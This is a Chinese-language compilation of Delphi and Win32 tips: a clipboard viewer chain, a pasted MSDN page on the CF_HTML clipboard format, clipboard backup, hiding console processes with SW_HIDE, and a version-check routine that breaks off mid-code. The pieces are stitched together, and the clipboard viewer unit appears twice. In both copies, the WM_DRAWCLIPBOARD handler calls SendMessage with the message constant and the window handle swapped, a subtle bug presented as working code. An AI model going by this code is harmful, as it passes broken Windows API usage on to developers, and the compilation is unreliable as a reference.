---- 需要注意的是，在处理剪贴板内容变化的消息WM_DRAWCLIPBOARD的过程和关闭窗口事件中使用函数sendmessage把WM_DRAWCLIPBOARD或WM_CHANGECBCHAIN消息传递到观察链中的下一个窗口是必要的，否则有可能其他窗口不能获得类似消息。另外，在使用网络蚂蚁时笔者曾经碰到不能设置剪贴板格式的情况，在此提醒读者注意检查RegisterClipboardFormat等函数的返回值。
//////////////////////////////////////////////////////
unit ClipboardViewer;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs;

type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
FNextViewerHandle : THandle;
procedure WMDrawClipboard (var message : TMessage);
message WM_DRAWCLIPBOARD;
procedure WMChangeCBCHain (var message : TMessage);
message WM_CHANGECBCHAIN;
public
end;

var
Form1: TForm1;

implementation
{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
// Hook the
clipboard viewer chain
// Should also check for a possible null return
value, which indicates
// that the function failed.
FNextViewerHandle := SetClipboardViewer(Handle);
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
// Remove ourselves from the clipboard viewer chain.
ChangeClipboardChain(Handle, FNextViewerHandle);
end;

procedure TForm1.WMDrawClipboard (var message : TMessage);
begin
// Called whenever contents of the clipboard changes
message.Result := SendMessage(WM_DRAWCLIPBOARD, FNextViewerHandle, 0, 0);
end;

procedure TForm1.WMChangeCBCHain (var message : TMessage);
begin
// Called when there is a change in the Clipboard viewer chain.
if message.wParam = FNextViewerHandle then begin
// the next viewer in the chain is being removed. Update our internal var.
FNextViewerHandle := message.lParam;
// Return 0 to indicate message was processed
message.Result := 0;
end else begin
// Pass message on to next window in chain.
message.Result := SendMessage(FNextViewerHandle, WM_CHANGECBCHAIN,
message.wParam, message.lParam);
end;
end;

end.


剪贴板中HTML文件格式

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE>HTML Clipboard Format</TITLE>
<META NAME="description" CONTENT="HTML Clipboard Format" />
<META NAME="keywords" CONTENT="Internet Tools & Technologies" />
<META NAME="robots" CONTENT="all" />
<META NAME="MS.LOCALE" CONTENT="EN-US" />
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1" />
<META NAME="Author" CONTENT="InetSDK" />
<SCRIPT LANGUAGE="JavaScript"><!--

// -----------------------------------------------------------
// Client-side BrowserData constructor
// Populated using data from server-side oBD object to avoid redundancy
// -----------------------------------------------------------

function BrowserData()
{
this.userAgent = "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)";
this.browser = "MSIE";
this.majorVer = 4;
this.minorVer = "01";
this.betaVer = "0";
this.platform = "98";
this.getsNavBar = true;
this.doesActiveX = true;

}
var oBD = new BrowserData();

//--></SCRIPT>

<SCRIPT LANGUAGE="JavaScript"><!--

// if workshop and not vroot, assign "/workshop/" to sBucketRoot
// rename sVRoot

// var sBucketRoot = "/workshop/networking/";

//--></SCRIPT>
<LINK REL="stylesheet" TYPE="text/css"
HREF="/msdn-online/shared/css/ie4.css" />

<SCRIPT LANGUAGE="JScript"><!--

 function CommonLoad()
{
if ("function" ==
typeof(InitNavLinks)) InitNavLinks();
if ("function" ==
typeof(CheckToTop)) CheckToTop();
if ("function" ==
typeof(RemoveLastPipe)) RemoveLastPipe();
}

//--></SCRIPT>

<META NAME="MS-HAID"
CONTENT="_inet_HTML_Clipboard_Format">
</HEAD>
<BODY
TOPMARGIN="0" LEFTMARGIN="0" MARGINHEIGHT="0" MARGINWIDTH="0"
BGCOLOR="#FFFFFF">
<A NAME="bk_clipboard"></A>

<!-- HEADER_START -->

<DIV CLASS="clsNavLinksDiv">
<TABLE CELLPADDING="1"
CELLSPACING="0" BORDER="0">
<TR><TD
COLSPAN="3">&nbsp;</TD></TR>
<TR>
<TD
ROWSPAN="2"><A HREF="/workshop/networking/default.asp"><IMG
HEIGHT="32" WIDTH="31" VSPACE="5" BORDER="0" ALT="Click to return to the
Networking, Protocols &amp; Data Formats home page"
SRC="/workshop/graphics/icons/networking.gif" /></A></TD><TD
ROWSPAN="2" WIDTH="18">&nbsp;&nbsp;</TD>
<TD
VALIGN="top">

 <TABLE ID="tblNavLinks" CELLPADDING="0" CELLSPACING="0"
BORDER="0"><TR>
<TD><A ID="lnkShowImg"
HREF="/workshop/networking/toc.htm" TARGET="_top"><IMG ID="imgShow"
CLASS="clsLeftMenu" HEIGHT="15" WIDTH="18" BORDER="0"
SRC="/msdn-online/shared/graphics/icons/nl-show-0.gif" ALT="Show/Hide TOC in
left frame" /></A>&nbsp;<BR></TD>
<TD
NOWRAP><A ID="lnkShowText" CLASS="clsLeftMenu"
HREF="/workshop/networking/toc.htm" TARGET="_top" TITLE="Show/Hide TOC in left
frame">show toc</A> &nbsp; &nbsp; &nbsp; </TD>

 <TD><A ID="lnkSyncImg"
HREF="/workshop/c-frame.htm?934204577186#/workshop/networking/clipboard/htmlclipboard.asp"
TARGET="_top"><IMG ID="imgSync" CLASS="clsLeftMenu" HEIGHT="15" WIDTH="18"
BORDER="0" SRC="/msdn-online/shared/graphics/icons/nl-sync-0.gif"
ALT="Synchronize TOC and Address Bar with this page"
/></A>&nbsp;<BR></TD>
<TD NOWRAP><A
ID="lnkSyncText" CLASS="clsLeftMenu"
HREF="/workshop/c-frame.htm?934204577186#/workshop/networking/clipboard/htmlclipboard.asp"
TARGET="_top" TITLE="Synchronize TOC and Address Bar with this page">sync
toc</A> &nbsp; &nbsp; &nbsp; </TD>

 <TD><A ID="lnkIndexImg"
HREF="/workshop/index/default.asp"><IMG ID="imgIndex" CLASS="clsLeftMenu"
HEIGHT="15" WIDTH="18" BORDER="0"
SRC="/msdn-online/shared/graphics/icons/nl-index-0.gif" ALT="Go to an
alphabetical keyword list"
/></A>&nbsp;<BR></TD>
<TD NOWRAP><A
ID="lnkIndexText" CLASS="clsLeftMenu" HREF="/workshop/index/default.asp"
TITLE="Go to an alphabetical keyword list">index</A> &nbsp;
&nbsp; &nbsp; </TD>

</TR></TABLE>

</TD></TR>
<TR><TD>

 <TABLE ID="tblPrevNext" CELLPADDING="0" CELLSPACING="0"
BORDER="0"><TR> <TD WIDTH="17"><A
HREF="/workshop/networking/default.asp"><IMG ID="imgUp"
CLASS="clsLeftMenu" HEIGHT="13" WIDTH="17" BORDER="0" TITLE="Networking,
Protocols & Data Formats"
SRC="/msdn-online/shared/graphics/icons/nl-up-0.gif" /></A></TD>
<TD NOWRAP><A ID="lnkUpText" CLASS="clsLeftMenu"
HREF="/workshop/networking/default.asp" TITLE="Networking, Protocols & Data
Formats">Networking, Protocols & D...</A> &nbsp; &nbsp;
</TD>
</TR></TABLE>

</TD></TR>
</TABLE>
</DIV>

<DIV CLASS="clsBucketBranch"><A HREF="/workshop/default.asp" TARGET="_top">Web Workshop</A>&nbsp;&nbsp;|&nbsp;&nbsp;<A HREF="/workshop/c-frame.htm?934204577171#/workshop/networking/default.asp" TARGET="_top">Networking, Protocols &amp; Data Formats</A></DIV>
<!-- HEADER_END -->

<DIV CLASS="clsDocBody">
<!-- CONTENTS_START -->
<H1><A NAME="ch_htmlclipboard">HTML Clipboard Format</A></H1>
<HR SIZE="1">

<P>This article discusses cutting and pasting fragments of an HTML document. The CF_HTML clipboard format allows a fragment of raw HTML text and its context to be stored on the clipboard as ASCII. This allows the context of the HTML fragment, which consists of all preceding and surrounding tags, to be examined by an application so that the surrounding tags can be noted with their attributes. Although it is up to an application to interpret such fragments, some basic guidelines are included here based on MSHTML implementations.</P>

<P>
This article covers the following topics:</P>
<ul><li><A CLASS=tctop HREF="/workshop/networking/clipboard/htmlclipboard.asp#Overview of CF_HTML">Overview of CF_HTML</A>
<li><P><A CLASS=tctop HREF="/workshop/networking/clipboard/htmlclipboard.asp#Scenarios">Scenarios</A></ul>

<H2><A NAME="Overview of CF_HTML">Overview of CF_HTML</A></H2>
<P>CF_HTML is entirely text format and uses the transformation format UTF-8. It includes a description, a context, and within the context, the fragment. The format name of a clipboard containing CF_HTML data
is HTML Format. Therefore, if you use functions such as <A HREF="/workshop/external_Win32.asp#_win32_RegisterClipboardFormat">RegisterClipboardFormat</A>, pass "HTML Format" in the format name parameter. This section gives a code example of a clipboard using CF_HTML and discusses the three components of the CF_HTML clipboard format.</P>

<P>The following is an example of a clipboard:</P>

<PRE CLASS="clsCode">
Version:0.9
StartHTML:71
EndHTML:170
StartFragment:140
EndFragment:160
<B>StartSelection:140</B>
<B>EndSelection:160</B>
&lt;!DOCTYPE&gt;
&lt;HTML&gt;
&lt;HEAD&gt;
&lt;TITLE&gt;The HTML Clipboard&lt;/TITLE&gt;
&lt;BASE HREF="http://sample/specs"&gt;
&lt;/HEAD&gt;
&lt;BODY&gt;
&lt;!--StartFragment --&gt;
<B>&lt;P&gt;The Fragment&lt;/P&gt;</B>
&lt;!--EndFragment --&gt;
&lt;/BODY&gt;
&lt;/HTML&gt;
</PRE>
<H3>Description</H3>
<P>The description includes the clipboard version number and offsets, indicating where the context and the fragment start and end. The description is a list of ASCII text keywords followed by a string and separated by a colon (:).</P>

<TABLE CLASS="clsStd">
<tr><td>Version <i>vv</i></td><td>Version number of the clipboard. Starting version is 0.9. </td></tr>
<tr><td>StartHTML</td><td>Byte count from the beginning of the clipboard to the start of the context, or -1 if no context.</td></tr>
<tr><td>EndHTML</td><td>Byte count from the beginning of the clipboard to the end of the context, or -1 if no context.</td></tr>
<tr><td>StartFragment</td><td>Byte count from the beginning of the clipboard to the start of the fragment.</td></tr>
<tr><td>EndFragment</td><td>Byte count from the beginning of the clipboard to the end of the fragment.</td></tr>
<tr><td>StartSelection</td><td>Byte count from the beginning of the clipboard to the start of the selection. </td></tr>
<tr><td>EndSelection</td><td>Byte count from the beginning of the clipboard to the end of the selection.</td></tr> </table>

<P>The StartSelection and EndSelection keywords are optional
because sufficient information for basic pasting is included in the fragment description. However, the selection information indicates the exact HTML area the user has selected. This adds more information to the fragment description. </P>

<P>Other information may be added in the description section. For example, multiple pairs of StartFragment/EndFragment could be added to support noncontiguous selection of fragments.</P>

<P>The only character set supported by the clipboard is Unicode in its UTF-8 encoding. Because the first characters of UTF-8 and ASCII match, the description is always ASCII, but the bytes of the context (starting at StartHTML) may use any other characters coded in UTF-8. Ends of lines may be represented in a clipboard format header as Carriage Return (CR), Carriage Return/Line Feed (CR/LF), or Line Feed (LF).</P>

<H3>Context</H3>
<P>When working with a complete document, the context is the entire HTML document. Because this discussion is limited to copying and pasting a fragment of a document, the context is the selected fragment and all preceding and surrounding start and end tags. These tags represent all the parent nodes of the fragment, up to the HTML node. The context also contains the complete <A HREF="/workshop/author/dhtml/reference/objects/HEAD.asp">HEAD</a> element and allows the <A HREF="/workshop/author/dhtml/reference/objects/BASE.asp">BASE</a> and <A HREF="/workshop/author/dhtml/reference/objects/TITLE.asp">TITLE</a> elements to be included. Sufficient information is included in the fragment for a basic pasting operation. However, if your application requires information concerning the tags surrounding the fragment, you must store the context on the clipboard.
</P>

<P>An application copying a fragment of HTML to the clipboard may choose to create a <b>BASE</b> element to include in the context so that partial URLs in the fragment can be resolved.</P>

<H3>Fragment</H3>
<P>The fragment contains valid HTML representing the area the user has selected. This includes the information required for basic pasting of an HTML fragment, as follows:</P>

<UL>
<LI>Selected text.
<LI>Opening tags and attributes of any element that has an end tag within the selected text.
<LI>End tags that match the included opening tags.
</UL>

<P>The fragment should be preceded and followed by the HTML comments &lt;!--StartFragment--&gt; and &lt;!--EndFragment--&gt; (no space allowed between the !-- and the text) to indicate where the fragment starts and ends. So the start and end of the fragment are indicated by these comments as well as by the StartFragment and EndFragment byte counts. Though redundant, this makes it easier to find the start of the fragment (from the byte count) and mark the position of the fragment directly in the HTML tree.</P>

<H2><A NAME="Scenarios">Scenarios</A></H2>
<P>The following scenarios describe how the MSHTML HTML editor handles HTML cutting and pasting; other applications may or may not follow these scenarios. The clipboard format described here is intended to allow flexibility for the way an application functions. These scenarios show only well-formed HTML.</P>

<H3>Simple Fragment of HTML</H3>
<P>HTML text:</P>
<PRE CLASS="clsCode">
&lt;BODY&gt; This is normal. &lt;B&gt;This is bold.&lt;/B&gt; &lt;I&gt;&lt;B&gt;This is bold italic.&lt;/B&gt;&lt;/I&gt;
&lt;I&gt;This is italic.&lt;/I&gt; &lt;/BODY&gt;
</PRE>
<P>This appears as:</P>
<DIV Style='text-indent:"1cm"'>
<P>This is normal. <B>This is bold.</B> <i><B>This is bold italic.</B></i>
<I>This is italic.</I></P>
</DIV>
<P>The text between the ** is selected and copied to the
clipboard: </P>
<DIV Style='text-indent:"1cm"'>
<P>This is normal. <B>This is </B>**<B>bold.
</B> <I><B>This is bold italic.</B></I><I>
This</I>**<I> is italic.</I> </P>
</DIV>
<P>In this scenario only the <A HREF="/workshop/author/dhtml/reference/objects/BODY.asp">BODY</A> element and the <A HREF="/workshop/author/dhtml/reference/objects/HTML.asp">HTML</A> element appear in the context as it precedes the selected fragment. Note that start tags and end tags are included in the context. The selection, delimited by StartSelection and EndSelection, is shown in bold. This is what will be on the clipboard (note this is MSHTML's
interpretation).</P>

<PRE CLASS="clsCode">
Version:0.9
StartHTML:71
EndHTML:160
StartFragment:130
EndFragment:150
<B>StartSelection:130</B>
<B>EndSelection:150</B>
&lt;!DOCTYPE ...&gt;
&lt;HTML&gt;
&lt;BODY&gt;
&lt;!--StartFragment--&gt;
<B>&lt;B&gt;bold.&lt;/B&gt; &lt;I&gt;&lt;B&gt;This is bold italic.&lt;/B&gt;&lt;/I&gt; &lt;I&gt;This&lt;/I&gt; </B>
&lt;!--EndFragment--&gt;
&lt;/BODY&gt;
&lt;/HTML&gt;
</PRE>

<H3>Fragment of a Table in HTML</H3>

<P>HTML text:</P>
<PRE CLASS="clsCode">
&lt;BODY&gt;&lt;TABLE BORDER&gt;&lt;TR&gt;&lt;TH
ROWSPAN=2&gt;Head1&lt;/TH&gt;&lt;TD&gt;Item 1&lt;/TD&gt;
&lt;TD&gt;Item 2&lt;/TD&gt; &lt;TD&gt;Item 3&lt;/TD&gt;
&lt;TD&gt;Item 4&lt;/TD&gt;&lt;/TR&gt;&lt;TR&gt;&lt;TD&gt;Item
5&lt;/TD&gt; &lt;TD&gt;Item 6&lt;/TD&gt; &lt;TD&gt;Item
7&lt;/TD&gt; &lt;TD&gt;Item
8&lt;/TD&gt;&lt;/TR&gt;&lt;TR&gt;&lt;TH&gt;Head2&lt;/TH&gt;&lt;TD&gt;Item
9&lt;/TD&gt; &lt;TD&gt;Item 10&lt;/TD&gt; &lt;TD&gt;Item
11&lt;/TD&gt; &lt;TD&gt;Item
12&lt;/TD&gt;&lt;/TR&gt;&lt;/TABLE&gt;&lt;/BODY&gt;
</PRE>
<P>This appears as:</P>
<DIV Style='text-indent:"1cm"'>
<TABLE CLASS="clsStd">
<TR><TH ROWSPAN=2>Head1</TH><TD>Item 1</TD> <TD>Item 2</TD> <TD>Item 3</TD> <TD>Item 4</TD></TR>
<TR><TD>Item 5</TD> <TD>Item 6</TD> <TD>Item 7</TD> <TD>Item 8</TD></TR>
<TR><TH>Head2</TH><TD>Item 9</TD> <TD>Item 10</TD> <TD>Item 11</TD> <TD>Item 12</TD></TR>
</TABLE>
</DIV>
<P>The Item 6, Item 7, Item 10, and Item 11 elements of the table are selected as a block and copied to the clipboard. The following is an MSHTML interpretation of what will be on the clipboard. The selection is shown in bold.</P>
<PRE CLASS="clsCode">
&lt;!DOCTYPE ...&gt;
&lt;HTML&gt;&lt;BODY&gt;&lt;TABLE BORDER&gt;
&lt;!--StartFragment--&gt;
<B>&lt;TR&gt;&lt;TD&gt;Item 6&lt;/TD&gt;
&lt;TD&gt;Item 7&lt;/TD&gt;&lt;/TR&gt;&lt;TR&gt;&lt;TD&gt;Item
10&lt;/TD&gt; &lt;TD&gt;Item 11&lt;/TD&gt;&lt;/TR&gt;</B>
&lt;!--EndFragment--&gt;
&lt;/TABLE&gt;
&lt;/BODY&gt;&lt;/HTML&gt;
</PRE>

<H3>Pasting a Fragment of an Ordered List into Plain Text</H3>

<P>HTML text:</P>
<PRE CLASS="clsCode">
&lt;BODY&gt;&lt;OL TYPE = a&gt;&lt;LI&gt;Item 1&lt;LI&gt;Item
2&lt;LI&gt;Item 3&lt;LI&gt;Item 4&lt;LI&gt;Item 5&lt;LI&gt;Item
6&lt;/OL&gt;&lt;/BODY&gt;
</PRE>
<P>This appears as:</P>
<OL>
<LI Style='text-indent:"1cm"'>Item 1
<LI Style='text-indent:"1cm"'>Item 2
<LI Style='text-indent:"1cm"'>Item 3
<LI Style='text-indent:"1cm"'>Item 4
<LI Style='text-indent:"1cm"'>Item 5
<LI Style='text-indent:"1cm"'>Item 6
</OL>
<P>The user selects and copies items 3 through 5 to the clipboard.
The following HTML is in the clipboard. The user's selection is shown in bold.</P>
<PRE CLASS="clsCode">
&lt;DOCTYPE...&gt;&lt;HTML&gt;&lt;BODY&gt;&lt;OL TYPE = a&gt;
&lt;!-- StartFragment--&gt;
<B>&lt;LI&gt;Item 3&lt;LI&gt;Item 4&lt;LI&gt;Item 5</B>
&lt;!-- EndFragment--&gt;
&lt;/OL&gt;&lt;/BODY&gt;&lt;/HTML&gt;
</PRE>

<P>If this fragment is now pasted into an empty document, the
following HTML will be created:</P>
<PRE CLASS="clsCode">
&lt;BODY&gt;&lt;OL TYPE = a&gt;&lt;LI&gt;Item 3&lt;LI&gt;Item4&lt;LI&gt;Item 5&lt;/OL&gt;&lt;/BODY&gt;
</PRE>
<P>This appears as:</P>
<UL>
<OL>
<LI Style='text-indent:"1cm"'>Item 3
<LI Style='text-indent:"1cm"'>Item 4
<LI Style='text-indent:"1cm"'>Item 5
</OL>
</UL>
<H3>Pasting a Partially Selected Region</H3>

<P>HTML text:</P>
<PRE CLASS="clsCode">
&lt;P&gt; MSHTML is a WYSIWYG Editor that supports:&lt;/P&gt;
&lt;UL&gt;&lt;LI&gt;Cut&lt;LI&gt;Copy&lt;LI&gt;Paste&lt;/UL&gt; &lt;P&gt;This is a great tool!&lt;/P&gt;
</PRE>
<P>This appears as:</P>
<DIV Style='text-indent:"1cm"'>
<P>MSHTML is a WYSIWYG Editor that supports:</P>
<UL>
<LI Style='text-indent:"1cm"'>Cut
<LI Style='text-indent:"1cm"'>Copy
<LI Style='text-indent:"1cm"'>Paste
</UL>
</DIV>
<DIV Style='text-indent:"1cm"'>
<P>This is a great tool!</P>
</DIV>
<P>The user selects from "WYSIWYG" to "Cop". The following HTML is in the clipboard. The user's selection is bold.</P>
<PRE CLASS="clsCode">
&lt;DOCTYPE...&gt;&lt;HTML&gt;&lt;BODY&gt;
&lt;!-- StartFragment--&gt;
<B>&lt;P&gt;WYSIWYG Editor that supports:&lt;/P&gt;
&lt;UL&gt;&lt;LI&gt;Cut&lt;LI&gt;Cop&lt;/UL&gt;</B>
&lt;!-- EndFragment--&gt;
&lt;/BODY&gt;&lt;/HTML&gt;
</PRE>

<P>The user selects from "opy" to "great". The following HTML is in the clipboard. The user's selection is bold.</P>
<PRE CLASS="clsCode">
&lt;DOCTYPE...&gt;&lt;HTML&gt;&lt;BODY&gt;
&lt;!-- StartFragment--&gt;
&lt;UL&gt;&lt;LI&gt;
<B>opy&lt;LI&gt;Paste&lt;/UL&gt;&lt;P&gt; This is a great</B>
&lt;/P&gt;
&lt;!-- EndFragment--&gt;
&lt;/BODY&gt;&lt;/HTML&gt;
</PRE>
<!-- CONTENTS_END -->
</DIV>
<!-- START_PAGE_FOOTER -->
<SCRIPT LANGUAGE="JavaScript1.2" DEFER SRC="/workshop/code/common.js"></SCRIPT>
<DIV CLASS="clsFooter">
<HR SIZE="1" /><BR />
<P ID="pBackTop"><A HREF="#top" CLASS="clsBackTop"><IMG SRC="/msdn-online/shared/graphics/top.gif" WIDTH="18" HEIGHT="8" BORDER="0" ALT="Back to top">Back to top</A></P>
<P><I>Did you find this topic useful? Suggestions for other topics? <A HREF="/siteguide/write-us.asp?author=InetSDK&area=Networking%2C+Protocols+%26amp%3B+Data+Formats" TARGET="_top">Write us!</A></I></P>
<P>&copy; <A CLASS="clsIncCpyRt" HREF="/isapi/gomscom.asp?TARGET=/misc/cpyright.htm" TARGET="_top">1999 Microsoft Corporation. All rights reserved. Terms of use</A>.</P>
<P>&nbsp;</P>
</DIV>

<SCRIPT LANGUAGE="JavaScript"><!--

 function CheckToTop()
{
var eBody =
document.body;
if (eBody.scrollHeight > eBody.offsetHeight)
pBackTop.style.display = 'block';
}

//--></SCRIPT>
<SCRIPT LANGUAGE="JavaScript"
SRC="/msdn-online/shared/js/navlinks.js"></SCRIPT>
<!--
END_PAGE_FOOTER -->

</BODY>
</HTML>


背份剪贴板

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, Clipbrd;

type
PClips = ^TClips;
TClips = record
cf:   Word;
buf:
Pointer;
size: Cardinal;
end;

  TForm1 = class(TForm)
Button1: TButton;
ListBox1: TListBox;
ListBox2:
TListBox;
ListBox3: TListBox;
Button2: TButton;
procedure Button1Click(Sender:
TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
ClipList: TList;
procedure
GetClippedData(cf: Cardinal; var buf: Pointer; var size: Cardinal);
function SetClippedData(cf: Cardinal; buf: Pointer; size:
Cardinal): boolean;
public
{ Public
declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
var i: Integer;
blk: PClips;
begin
ClipList :=
TList.Create;
for i := 0 to Clipboard.FormatCount - 1 do
begin
New(blk);
blk.cf :=
Clipboard.Formats[i];
GetClippedData(blk.cf, blk.buf,
blk.size);
ClipList.Add(blk);
ListBox1.Items.Add(IntToStr(blk.cf));
ListBox2.Items.Add(IntToStr(Integer(blk.buf)));
ListBox3.Items.Add(IntToStr(blk.size));
end;
end;

procedure TForm1.Button2Click(Sender: TObject);
var blk: PClips;
begin
Clipboard.Clear;
while ClipList.Count > 0 do
begin
blk := ClipList.Items[0];
SetClippedData(blk.cf, blk.buf, blk.size);
Dispose(blk);
ClipList.Delete(0);
end;
ClipList.Free;
end;

procedure TForm1.GetClippedData(cf: Cardinal; var buf: Pointer; var size:
Cardinal);
var hmem: Cardinal;
lock: Pointer;
begin
if OpenClipboard(Handle) then
begin
hmem := GetClipboardData(cf);
if
hmem = 0 then
buf := nil
else begin
size :=
GlobalSize(hmem);
buf := AllocMem(size);
lock := GlobalLock(hmem);
CopyMemory(buf, lock, size);
GlobalUnlock(hmem);
end;
CloseClipboard;
end
else
buf := nil;
end;

function TForm1.SetClippedData(cf: Cardinal; buf: Pointer; size: Cardinal):
boolean;
var hmem, sd: Cardinal;
lock: Pointer;
begin
// Allocate memory in the global heap
// Do not
free it in this app. It will be freed when the clipboard is cleared
hmem := GlobalAlloc(GMEM_DDESHARE or GMEM_MOVEABLE, size);

lock := GlobalLock(hmem);
CopyMemory(lock, buf, size);
FreeMem(buf);
GlobalUnlock(hmem);

if OpenClipboard(Handle) then
begin
sd := SetClipboardData(cf, hmem);
CloseClipboard;
Result := (sd <> 0);
end
else
Result := false;
end;

end.


判断剪贴板的Owner

 利用GetClipboardOwner函数,改函数返回拥有剪贴版的窗口的句并,若出错或
剪贴版不属于任何窗口,则返回0;


察看剪贴板内容

unit ClipboardViewer;

interface

uses
Windows, Messages,SysUtils,Classes,Graphics,Controls,Forms,Dialogs;

type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
FNextViewerHandle : THandle;
procedure WMDrawClipboard (var message : TMessage);message WM_DRAWCLIPBOARD;
procedure WMChangeCBCHain (var message : TMessage); message WM_CHANGECBCHAIN;
end;

var Form1: TForm1;

implementation
{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
// Hook the clipboard viewer chain
// Should also check for a possible null return value, which indicates

// that the function failed.
FNextViewerHandle := SetClipboardViewer(Handle);
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
// Remove ourselves from the clipboard viewer chain.
ChangeClipboardChain(Handle, FNextViewerHandle);
end;

procedure TForm1.WMDrawClipboard (var message : TMessage);
begin
// Called whenever contents of the clipboard changes
message.Result := SendMessage(WM_DRAWCLIPBOARD, FNextViewerHandle, 0, 0);
end;

procedure TForm1.WMChangeCBCHain (var message : TMessage);

begin
// Called when there is a change in the Clipboard viewer chain.
if message.wParam = FNextViewerHandle then
begin
// the next viewer in the chain is being removed. Update our internal var.
FNextViewerHandle := message.lParam;
// Return 0 to indicate message was processed
message.Result := 0;
end
else
begin // Pass message on to next window in chain.
message.Result := SendMessage(FNextViewerHandle, WM_CHANGECBCHAIN,message.wParam, message.lParam);

end;
end;
end.


在后台运行DOS程序

在后台运行DOS程序,退出后不在系统任务栏中

出现winoldap进程的实现

下面是我在大富翁上拉下来的一个例子,测试非常成功 - 真是不留一点痕迹!

1.功能函数

function WinExecAndWait32(FileName:String; Visibility : integer):
DWORD;
var
zAppName:array[0..512] of char;
zCurDir:array[0..255] of
char;
WorkDir:String;
StartupInfo:TStartupInfo;
ProcessInfo:TProcessInformation;
begin
StrPCopy(zAppName,FileName);
GetDir(0,WorkDir);
StrPCopy(zCurDir,WorkDir);
FillChar(StartupInfo,Sizeof(StartupInfo),#0);
StartupInfo.cb
:= Sizeof(StartupInfo);
StartupInfo.dwFlags :=
STARTF_USESHOWWINDOW;
StartupInfo.wShowWindow := Visibility;
if not
CreateProcess(
nil,
zAppName, { pointer to command line string }
nil, {
pointer to process security attributes }
nil, { pointer to thread security
attributes }
false, { handle inheritance flag }
CREATE_NEW_CONSOLE or {
creation flags }
NORMAL_PRIORITY_CLASS,
nil, { pointer to new environment
block }
nil, { pointer to current directory name }
StartupInfo, { pointer
to STARTUPINFO }
ProcessInfo { pointer to PROCESS_INF }
)
then Result
:= $FFFFFFFF else
begin
WaitforSingleObject(ProcessInfo.hProcess,INFINITE);
GetExitCodeProcess(ProcessInfo.hProcess,Result);
end;
end;

2.使用例程

procedure TForm1.Button1Click(Sender: TObject);
begin
WinExecAndWait32('COMMAND.COM /C COPY C:\AUTOEXEC.BAT D:\',SW_NORMAL);
showmessage('ok');
end;

3.下载例程

4. 补充说明 没翻译完在win32.hlp中输入StartupInfo,CreateProcess自己查看吧.

翻译的Win32API帮助, E文很臭,有误人子弟的地方请参考帮助.

TStartupInfo一些说明:

StartupInfo结构被CreateProcess函数用来指定一个新建立的线程主
窗口的属性,对于GUI(Graphics User Interface)线程来说,这些信息
影响CreateWindow函数建立和ShowWindow函数显示的第一个窗口.而对
控制台程序,这些信息影响线程建立的新的控制台程序.当一个线程建
立后,能够利用GetStartupInfo函数获取一些StartupInfo的信息.

typedef struct _STARTUPINFO { // si
DWORD
cb;
//指定该结构的大小(字节数)
LPTSTR lpReserved;
//保留.在该结构通过CreateProcess之前,
//设置该成员为NULL.
LPTSTR lpDesktop;  //仅仅Windows
NT支持.
LPTSTR lpTitle;
//对控制台程序来说,lpTitle在新建的控制台程序
//窗口标题栏中显示.如果lpTitle=NULL,可执行文
//件的名字显示在标题栏中.如果为GUI程序或不建立
//新窗口控制台程序,lpTitlel的值一定要设置为Null

  DWORD
dwX;
//当dwFlags为STARTF_USEPOSITION才起作用.控制窗口
//左上角相对屏幕的位置.单位是像素.对GUI程序来说,
//新程序调用CreateWindow(参数x=CW_USEDEFAULT)建
//立一个OverLap窗口时,首先使用指定的位置.
DWORD
dwY;
//见上.
DWORD dwXSize;
//当dwFlags为STARTF_USESIZE才起作用.指定窗口的长宽
//单位是像素.对GUI程序来说,新程序调用CreateWindow
//(参数nWidth=CW_USEDEFAULT)建立一个OverLap窗口时,首先使
//用指定的长宽.
DWORD dwYSize;     //见上.
DWORD
dwXCountChars;
DWORD dwYCountChars;
DWORD dwFillAttribute;
DWORD dwFlags;
WORD wShowWindow;
WORD
cbReserved2;
LPBYTE lpReserved2;
HANDLE hStdInput;
HANDLE hStdOutput;
HANDLE hStdError;

} STARTUPINFO, *LPSTARTUPINFO;

/////////////////////////////////////
TStartupInfo 这个结构中有一个 sShowWindow 栏位, 将之设为 SW_HIDE即可,
同时, dwFlags 标志中至少需含有 STARTF_USESHOWWINDOW, 否则CreateProcess
时, sShowWindow 栏位的设定会无效, 以下是修改过的程式:

var
sCommandLine: string;
bCreateProcess: boolean;
lpStartupInfo: TStartupInfo;
lpProcessInformation: TProcessInformation;
begin
// sCommandLine 的内容请视您的情况修改
sCommandLine :='Xcopy d:\temp\temp1\*.* d:\temp\temp2 /v/y';
lpStartupInfo.dwFlags := STARTF_USESHOWWINDOW;
lpStartupInfo.wShowWindow := SW_HIDE;
bCreateProcess := CreateProcess(nil, PChar(sCommandLine),nil,nil,True,
HIGH_PRIORITY_CLASS, nil, nil,lpStartupInfo, lpProcessInformation);
if bCreateProcess then
WaitForSingleObject(lpProcessInformation.hProcess, INFINITE);
end;


退出系统

function GetWinVersion: String;

var

VersionInfo : TOSVersionInfo;

OSName : String;

begin

// set the size of the record

VersionInfo.dwOSVersionInfoSize := SizeOf( TOSVersionInfo );

if Windows.GetVersionEx( VersionInfo ) then

begin

with VersionInfo do

begin

case dwPlatformId of

VER_PLATFORM_WIN32s : OSName := 'Win32s';

VER_PLATFORM_WIN32_WINDOWS : OSName := 'Windows 95';

VER_PLATFORM_WIN32_NT : OSName := 'Windows NT';

end; // case dwPlatformId

Result := OSName + ' Version ' + IntToStr( dwMajorVersion ) + '.' + IntToStr( dwMinorVersion ) +

#13#10' (Build ' + IntToStr( dwBuildNumber ) + ': ' + szCSDVersion + ')';

end; // with VersionInfo

end // if GetVersionEx

else

Result := '';

end;

procedure ShutDown;

const

